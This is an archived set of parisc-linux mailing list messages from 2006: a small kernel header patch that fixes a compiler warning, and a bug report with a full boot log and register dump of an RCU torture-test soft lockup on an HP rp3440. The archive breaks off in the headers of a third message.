Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a small compile warning cleanup?
Date: Fri, 20 Jan 2006 15:55:28 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <ITEC4G$9C17DD6AE38ACE7E042A68D230E01BEF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623998 17995 80.91.229.3 (22 Nov 2014 02:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:58 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jan 2006 14:55:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 20 Jan 2006 15:55:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC967D7A2;
	Fri, 20 Jan 2006 07:55:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09284-01; Fri, 20 Jan 2006 07:55:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBE0F7D79D;
	Fri, 20 Jan 2006 07:55:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56A947D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jan 2006 07:55:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08912-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jan 2006 07:55:32 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 522D87D798
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jan 2006 07:55:32 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k0KEtRj28326 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 20 Jan 2006 15:55:29 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pZyiY/8zeSEkfL6WZHQhaXN1IGRvbwD7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23395

Hello pa,

Attempting to get rid of this warning (gcc-4.0):
/CAD/linux-2.6.16-rc1-pa1-20060119/kernel/compat.c: In function
'compat_sys_timer_create':
/CAD/linux-2.6.16-rc1-pa1-20060119/kernel/compat.c:532: warning: implicit=

declaration of function 'get_compat_sigevent'

As used in severall places (2 at least), I thing this could help:
--- include/linux/compat_siginfo.h.Orig 2006-01-20 13:39:16.000000000 +01=
00
+++ include/linux/compat_siginfo.h      2006-01-20 13:40:40.000000000 +01=
00
@@ -177,6 +177,9 @@
 extern int compat_copy_sigevent_from_user(struct sigevent *to,
compat_sigevent_t __user *from);
 extern int compat_copy_sigevent_to_user(compat_sigevent_t __user *to, st=
ruct
sigevent *from);
 
+extern int get_compat_sigevent(struct sigevent *event,
+               const struct compat_sigevent __user *u_event);
+
 #endif /* CONFIG_COMPAT */
 #endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

If agreed feel free to ci (no cvs access).

TIA,
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rcu torture test panics on 2-way pa8800
Date: Sun, 22 Jan 2006 00:13:08 -0700
Lines: 434
Approved: news@gmane.org
Message-ID: <20060122071308.GA8592@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623998 17999 80.91.229.3 (22 Nov 2014 02:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jan 2006 07:03:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 22 Jan 2006 08:03:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39EAB7D6C2;
	Sun, 22 Jan 2006 00:03:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24270-05; Sun, 22 Jan 2006 00:03:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 071A57D6C3;
	Sun, 22 Jan 2006 00:03:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D78D7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 00:03:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23720-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 00:03:42 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id AFC5A7D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 00:03:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DE90336001A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 00:13:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09594-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jan 2006 00:13:08 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BB48836000C; Sun, 22 Jan 2006 00:13:08 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C0uhY8o3eSEkRr6WZHQhaXN1IGRvb4Ao
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23396

Hi,
I accidentally include RCU_TORTURE_TEST=y in the 2.6.16-rc1-pa2
kernels I was building and it worked fine on two out of three
of the rp3440 (pa8800 CPU) boxes I'm banging on.
(trying to sort out issues with L2 that I don't understand).

Got the following panic on the 2-core 800Mz box:

BUG: soft lockup detected on CPU#0!
...
IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001010ec1c 000000001010ec20
 IIR: 0f40109c    ISR: 00000000106c1a98  IOR: 0000000000000000
 CPU:        0   CR30: 0000000011ff0000 CR31: 00000000105bc000
 ORIG_R28: 00000000105b67a8
 IAOQ[0]: _spin_lock+0x4/0x20
 IAOQ[1]: _spin_lock+0x8/0x20
 RP(r2): rcu_torture_cb+0x11c/0x178

Full console output is appended.

This test seems to be running fine on 4-way 800 Mhz and 4-way 1Ghz.
I expect the timing will be different since 4-way has to talk across
the Mckinley bus and the 2-way (2 cores in one socket) communicate
across the L2.

I'm not sure if this is another clue to the L2 caching problems or 
exposing a bug in something related to our RCU implementation.
Maybe it's both. I don't know.

Has anyone else run with RCU_TORTURE_TEST=y ?

thanks,
grant



Firmware Version  45.11

Duplex Console IO Dependent Code (IODC) revision 1
------------------------------------------------------------------------------
   (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      800  MHz   Active                 Functional         33554432 33554432
      1      800  MHz   Idle                   Functional         33554432 33554432

  Central Bus Speed (in MHz)  :        200  
  Available Memory            :    4194300  KB
  Good Memory Required        : Not initialized. Defaults to 32 MB. 

   Primary boot path:    0/1/1/0.0           
   Alternate boot path:  0/0/2/0.3           
   Console path:         0/7/1/1.0           
   Keyboard path:        0/0/4/0.0           

   *** Manufacturing permissions ON ***
   System is hp server series



---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT|CON|KEY] [<path>]   Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands
     DeBug menu                        Displays debug commands
     MFG menu                          Displays manufacturing commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y
...
Current command line:
1/vmlinux-2.6.16-rc1-pa1 pdcchassis=0 root=/dev/sda3 noudev panic=5 console=ttyS1
 0: 1/vmlinux-2.6.16-rc1-pa1
 1: pdcchassis=0
 2: root=/dev/sda3
 3: noudev
 4: panic=5
 5: console=ttyS1

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'pdcchassis=0 root=/dev/sda3 noudev panic=5 console=ttyS1 palo_kernel=1/vmlinux-2.6.16-rc1-pa1'
Selected kernel: /vmlinux-2.6.16-rc1-pa1 from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4942808 mediaptr 0x1000
Segment 1 load 005b8000 size 437688 mediaptr 0x4b8000
Segment 2 load 00624000 size 545496 mediaptr 0x523000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.16-rc1-pa1 (grundler@gsyprf11) (gcc version 4.0.3 20051201 (prerelease) (Debian 4.0.2-5)) #3 SMP Thu Jan 19 17:26:22 PST 2006
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000004040000000 End 0x00000040ffdfffff Size   3070 MB
Total Memory: 4094 MB
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: pdcchassis=0 root=/dev/sda3 noudev panic=5 console=ttyS1 palo_kernel=1/vmlinux-2.6.16-rc1-pa1
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 4192256k available
Mount-cache hash table entries: 256
Brought up 1 CPUs
migration_cost=0
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
6. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
7. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
12. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
migration_cost=500
CPU(s): 2 x PA8800 (Mako) at 800.008700 MHz
Setting cache flush threshold to 26f9840 (2 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
LBA version TR3.2 (0x32) found at 0xfffffffffed20000
LBA version TR3.2 (0x32) found at 0xfffffffffed22000
LBA version TR3.2 (0x32) found at 0xfffffffffed24000
LBA version TR3.2 (0x32) found at 0xfffffffffed26000
LBA version TR3.2 (0x32) found at 0xfffffffffed28000
LBA version TR3.2 (0x32) found at 0xfffffffffed2c000
LBA version TR3.2 (0x32) found at 0xfffffffffed2e000
LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
SCSI subsystem initialized
usbcore: registered new driver usbfs
usbcore: registered new driver hub
unwind_init: start = 0x104cf380, end = 0x104f9b90, entries = 10881
Performance monitoring counters enabled for Storm Peak Slow
rcutorture: --- Start of test: nreaders=4 stat_interval=0 verbose=0 test_no_idle_hz=0 shuffle_interval = 5
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
PDC Stable Storage facility v0.22
Soft power switch support not available.
STI GSC/PCI core graphics driver Version 0.9a
Generic RTC Driver v1.07
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 73) is a 16450
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 73) is a 16550A
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 73) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 73) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.2
  Vendor: HP 36.4G  Model: ST336753LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
 target0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous
 target0:0:0: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)
 target0:0:0: Domain Validation skipping write tests
 target0:0:0: Ending Domain Validation
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.2
  Vendor: FUJITSU   Model: MAJ3364MC         Rev: HP12
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:2: tagged command queuing enabled, command queue depth 16.
 target1:0:2: Beginning Domain Validation
 target1:0:2: asynchronous
 target1:0:2: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)
 target1:0:2: Domain Validation skipping write tests
 target1:0:2: Ending Domain Validation
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write through w/ FUA
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write through w/ FUA
 sda: sda1 sda2 sda3
sd 0:0:0:0: Attached scsi disk sda
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
sdb: Write Protect is off
SCSI device sdb: drive cache: write back w/ FUA
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
sdb: Write Protect is off
SCSI device sdb: drive cache: write back w/ FUA
 sdb: unknown partition table
sd 1:0:2:0: Attached scsi disk sdb
sd 0:0:0:0: Attached scsi generic sg0 type 0
sd 1:0:2:0: Attached scsi generic sg1 type 0
usbmon: debugfs is not available
ehci_hcd 0000:00:01.2: EHCI Host Controller
ehci_hcd 0000:00:01.2: new USB bus registered, assigned bus number 1
ehci_hcd 0000:00:01.2: irq 68, io mem 0xffffffff80000000
ehci_hcd 0000:00:01.2: USB 2.0 started, EHCI 0.95, driver 10 Dec 2004
usb usb1: Product: EHCI Host Controller
usb usb1: Manufacturer: Linux 2.6.16-rc1-pa1 ehci_hcd
usb usb1: SerialNumber: 0000:00:01.2
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 5 ports detected
ohci_hcd 0000:00:01.0: OHCI Host Controller
ohci_hcd 0000:00:01.0: new USB bus registered, assigned bus number 2
ohci_hcd 0000:00:01.0: irq 66, io mem 0xffffffff80002000
usb usb2: Product: OHCI Host Controller
usb usb2: Manufacturer: Linux 2.6.16-rc1-pa1 ohci_hcd
usb usb2: SerialNumber: 0000:00:01.0
usb usb2: configuration #1 chosen from 1 choice
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 3 ports detected
ohci_hcd 0000:00:01.1: OHCI Host Controller
ohci_hcd 0000:00:01.1: new USB bus registered, assigned bus number 3
ohci_hcd 0000:00:01.1: irq 67, io mem 0xffffffff80001000
usb usb3: Product: OHCI Host Controller
usb usb3: Manufacturer: Linux 2.6.16-rc1-pa1 ohci_hcd
usb usb3: SerialNumber: 0000:00:01.1
usb usb3: configuration #1 chosen from 1 choice
hub 3-0:1.0: USB hub found
hub 3-0:1.0: 2 ports detected
usbcore: registered new driver libusual
mice: PS/2 mouse device common for all mice
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
raid5: measuring checksumming speed
   8regs     :  3840.000 MB/sec
   8regs_prefetch:  2840.000 MB/sec
   32regs    :  3816.000 MB/sec
   32regs_prefetch:  3124.000 MB/sec
raid5: using function: 8regs (3840.000 MB/sec)
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
Advanced Linux Sound Architecture Driver Version 1.0.11rc2 (Wed Jan 04 08:57:20 2006 UTC).
ALSA device list:
  No soundcards found.
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: Badness in smp_call_function at arch/parisc/kernel/smp.c:348
Backtrace:
 [<00000000101125f8>] dump_stack+0x18/0x28
 [<000000001011c4d8>] smp_call_function+0x90/0x398
 [<00000000101119b4>] flush_data_cache+0x2c/0x48
 [<0000000010110d48>] free_initmem+0x68/0x310
 [<000000001010fe00>] init+0x688/0x7f8
 [<000000001010347c>] ret_from_kernel_thread+0x24/0x40

536k freed
Write protecting the kernel read-only data: 356k
Failed to mount /selinux/: No such file or directory
INIT: version 2.86 booting
Activating swap...
.
Checking root file system.../dev/sda3: clean, 147172/4308992 files, 820135/8612848 blocks
.
Cleaning up ifupdown...done.
Calculating module dependencies...done.
Loading modules...
    tg3
tg3.c:v3.47 (Dec 28, 2005)
eth0: Tigon3 [partno(BCM95700A6) rev 0105 PHY(5701)] (PCI:66MHz:64-bit) 10/100/1000BaseT Ethernet 00:30:6e:4b:16:4d
eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] Split[0] WireSpeed[1] TSOcap[0] 
eth0: dma_rwctrl[76ff2d0f]
All modules loaded.
Setting the System Clock using the Hardware Clock as reference
System Clock set. Local time: Sun Jan 22 04:28:35 UTC 2006
.
Checking all file systems.../dev/sda1: clean, 50/26104 files, 79469/104388 blocks
.
Setting kernel variables ...
... done.
Mounting local filesystems.../dev/sda1 on /boot type ext2 (rw)
.
Cleaning /tmp....
Cleaning /var/run ....
Cleaning /var/lock ....
Running 0dns-down to make sure resolv.conf is ok...done.
Setting up networking...done.
Starting hotplug subsystem:
   pci     
     tg3: already loaded
     ignoring pci display device e0:02.0
   pci      [success]
   usb     
   usb      [success]
   isapnp  
   isapnp   [success]
   ide     
   ide      [success]
   input   
   input    [success]
   scsi    
     sd_mod: can't be loaded (for disk)
     sd_mod: can't be loaded (for disk)
   scsi     [success]
done.
* /etc/network/options is deprecated.
Setting up IP spoofing protection...done (rp_filter).
Configuring network interfaces...Internet Software Consortium DHCP Client 2.0pl5
Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
All rights reserved.

Please contribute if you find this software useful.
For info, please visit http://www.isc.org/dhcp-contrib.html

Listening on LPF/eth0/00:30:6e:4b:16:4d
Sending on   LPF/eth0/00:30:6e:4b:16:4d
Sending on   Socket/fallback/fallback-net
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 7
tg3: eth0: Link is up at 1000 Mbps, full duplex.
tg3: eth0: Flow control is off for TX and off for RX.
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 14
DHCPOFFER from 192.168.1.61
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 192.168.1.61
bound to 192.168.1.10 -- renewal in 302400 seconds.
done.
Starting portmap daemon: portmap.
Setting the System Clock using the Hardware Clock as reference
System Clock set. Local time: Sun Jan 22 04:29:08 UTC 2006
.
Running ntpdate to synchronize clockError : Temporary failure in name resolution
.
Initializing random number generator....
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Not starting portmap daemon.  Already running.
Starting Distributed Compiler Daemon: distccd.
Starting internet superserver: inetd.
Starting network benchmark server: netserver.
Starting Name Service Cache Daemon: nscd/usr/sbin/nscd: error while loading shared libraries: unexpected reloc type 0x42
.
Starting mail transport agent: Postfix

BUG: soft lockup detected on CPU#0!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  0000000000000000 000000001060b740 00000000101717dc 00000000106ce558
r04-07  000000001060a740 0000000010514b3c 0000000000000001 0000000000000000
r08-11  0000000000000001 0000000011ff0240 0000000000000001 000f434be4ce66c0
r12-15  0000000011ca0970 0000000000000000 00000000ffbfffff 00000000ffffffff
r16-19  0000000011ff0240 00000000ffffffff 00000000ffffffff 000000001059fc40
r20-23  000000000800000f 000000000800000f 0000000100128d00 0000000000000000
r24-27  0000000100128d04 0000004052a16688 0000000010514b3c 000000001060a740
r28-31  0000000000000000 0000000011ff09e0 0000000011ff0a10 00000000106ce010
sr0-3   000000000028a000 0000000000000000 0000000000000000 000000000028a000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  0000000000000802 0000000010624000 00000000101a1bd4 00000000106aa000
fr08-11  0000000000000000 0000000011c6b000 0000000011c66ac0 0000000011c6b000
fr12-15  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr16-19  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr20-23  0000000000000000 0000000000000000 000000000000dda3 000000000000000e
fr24-27  0000000000000000 000f41fa2e797100 000000000804000e 0000000000000000
fr28-31  0000000011c6b000 fffffffffffffc18 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001010ec1c 000000001010ec20
 IIR: 0f40109c    ISR: 00000000106c1a98  IOR: 0000000000000000
 CPU:        0   CR30: 0000000011ff0000 CR31: 00000000105bc000
 ORIG_R28: 00000000105b67a8
 IAOQ[0]: _spin_lock+0x4/0x20
 IAOQ[1]: _spin_lock+0x8/0x20
 RP(r2): rcu_torture_cb+0x11c/0x178

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] very weird pb with libgtk2.0-0 since upgrade: many
	gui segv ; -(
Date: Sat, 21 Jan 2006 18:59:17 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <ITGFAT$E5239B6758E21ED15FCC0DD1DA012A9F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623998 18001 80.91.229.3 (22 Nov 2014 02:39:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
